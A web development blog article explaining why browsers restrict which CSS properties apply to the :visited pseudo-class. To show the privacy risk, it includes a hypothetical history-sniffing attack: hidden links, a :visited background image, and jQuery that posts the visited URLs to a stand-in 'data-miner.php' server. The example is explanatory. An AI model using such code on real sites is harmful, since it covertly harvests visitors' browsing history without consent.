Why the :visited Pseudo-class is Strange

Modern browsers have severely restrained the CSS properties that developers can use in a style rule that uses the :visited link pseudo-class. If you’re unfamiliar with this oddball pseudo-class, you may be wondering why your site’s visited links aren’t rendering as expected.

If you try to style visited links by giving them a background-image, for instance, you’ll be surprised that you can no longer do so in modern browsers. You might think it’s a browser bug because there’s no immediately obvious reason why the following CSS doesn’t work:

/* this will not work as expected */
a:visited {
  display: block;
  background-image: url("cat.jpg");
}

If we use any other pseudo-class — like, say, the :hover pseudo-class — the style properties work as expected.

/* this is perfectly fine */
a:hover {
  display: block;
  background-image: url("cat.jpg");
}

Currently, it seems like the only property you can assign to the :visited pseudo-class is the color property. Oh, and the browser in all likelihood won’t render the color with an alpha transparency even if you correctly specify it with a standard color unit like rgba.

Strange right? What’s up?

The W3C specifications for the link pseudo-classes technically gives web browsers the option to ignore our :link and :visited pseudo-class style rules. This is because the :visited pseudo-class can be potentially abused in such a way that an abuser can get data about its visitors’ browsing history.

It is possible for style sheet authors to abuse the :link and :visited pseudo-classes to determine which sites a user has visited without the user’s consent.

UAs may therefore treat all links as unvisited links, or implement other measures to preserve the user’s privacy while rendering visited and unvisited links differently."

Source: Selectors Level 3: The link pseudo-classes: :link and :visited

(In case you’re wondering: In the above excerpt, the term "UAs" refers to "user agents", which is software that’s used to access a website. The most common type of UA is a web browser.)

How a User’s Browsing History Could Be Compromised

To explain the reason why you can’t use all CSS properties with the :visited pseudo-class, I will attempt to explain it through a hypothetical situation.

Modern browsers no longer allow the background-image property to render.

However, let’s pretend that, in this hypothetical situation, a web browser does permit and render the background-image property.

Without the proper precautions, an abuser of the the :visited pseudo-class could place a list of <a> elements in a web page that point to particular websites, and then hide it from the visitor of the page:

HTML

<a href="https://www.google.com">Hidden link</a>
<a href="https://www.facebook.com/">Hidden link</a>
<a href="https://dribbble.com/">Hidden link</a>
...

These <a> elements could then be hidden using CSS.

The browser can’t render the background-image property by itself on the client-side, it has to download an asset from some web server to render the property as specified by the CSS author. Let’s call this external asset "visited.jpg".

CSS

a:link {
  /* Hide the links visually */
  display: none;
  background-image: none;
}
a:visited {
  /* give visited links a background image  */
  background-image: url("http://some.server/visited.jpg");
}

Then, using JavaScript, all the links on the web page can be looped through to determine whether or not it has the "visited.jpg" background.

If a link has the "visited.jpg" background, then it’s a clue that the URL has been visited by the user. A list of visited URLs, along with other information such as the user’s IP address, can then be sent to a server-side script for processing. In the following example, jQuery is used to achieve something of this nature.

JavaScript/jQuery

 $(document).ready(function() {
    // The property value that hints the link has been visited
    var VisitedBg = "url(http://some.server/visited.jpg)";
    // An array that stores visited URLS
    var URLsVisited = [];
    // Loop through all links in the web page
    $('a').each(function() {
      // Check if the current link's background is equal to// visited.jpg
      if( $(this).css('background-image') == VisitedBg ) {
        // Put this link in the array because// it has been visited
        URLsVisited.push( $(this).attr('href') );
      }
    });
    // Send the list of visited URLs to a PHP script// For processing and storage
    $.ajax({
      type: 'post',
      url: 'http://some.server/data-miner.php',
      data: { 'URLsVisited': URLsVisited }
    });
  });

Here is a more detailed explanation of the privacy issue on Mozilla.org.

Besides limiting the CSS properties that will be rendered when used with the :visited pseudo-class, JavaScript functions such getComputedStyle() and querySelector() when used on links that match the :visited selector will return values in such a way that visited and unvisited links can’t be distinguished.

The Problem for Developers: No Standards

Right now, there’s no standard with regards to which CSS properties can be used with the :visited pseudo-class selector, so there’s currently this inconsistency and uncertainty when it comes to styling visited links.

Even future W3C CSS specs give us no clarity. In the current draft of CSS4, browsers are still given free reign on how to treat :visited and :link pseudo classes:

"UAs may therefore treat all links as unvisited links, or implement other measures to preserve the user’s privacy while rendering visited and unvisited links differently."

Source: Selectors Level 4: The Link History Pseudo-classes: :link and :visited

The article I linked to earlier on a Mozilla.org blog explaining the privacy issue says this:

We’re limiting the CSS properties that can be used to style visited links to color, background-color, border-*-color, and outline-color and the color parts of the fill and stroke properties.

Source: privacy-related changes coming to CSS :visited

The official documentation of the :visited pseudo-class on Mozilla Developer Network says:

"Note: For privacy reasons, browsers strictly limit the styles you can apply using an element selected by this pseudo-class: only color, background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, outline-color, column-rule-color, fill and stroke."

Source: :visited – CSS | MDN

However, when you try out Mozilla’s allowed properties in the most recent version of Firefox, only the color property works.

So even official docs and blog posts from browser vendors aren’t conclusive.

Internet Explorer is the most definitive. But I’m using that term loosely. In an obscure MSDN documentation about developer console tools error messages, there’s an entry on the SEC7115 error code. The error message is this:

":visited and :link styles can only differ by color. Some styles were not applied to :visited."

Source: F12 developer tools console error messages (Windows)

And the suggested fix to resolve the error message is:

"Change only the color attribute."

Source: F12 developer tools console error messages (Windows)

The above at least indirectly implies that Internet Explorer has taken a stance on the :visited pseudo-class. The browser will only apply the color CSS property.

Conclusion

Right now, the trend in web browsers is that only the color property specified in a :visited selector will be rendered. Any other CSS property will be ignored.

Related Content

About the Author

Jacob Gube is the founder of Six Revisions. He’s a front-end web developer. Follow him on Twitter @sixrevisions.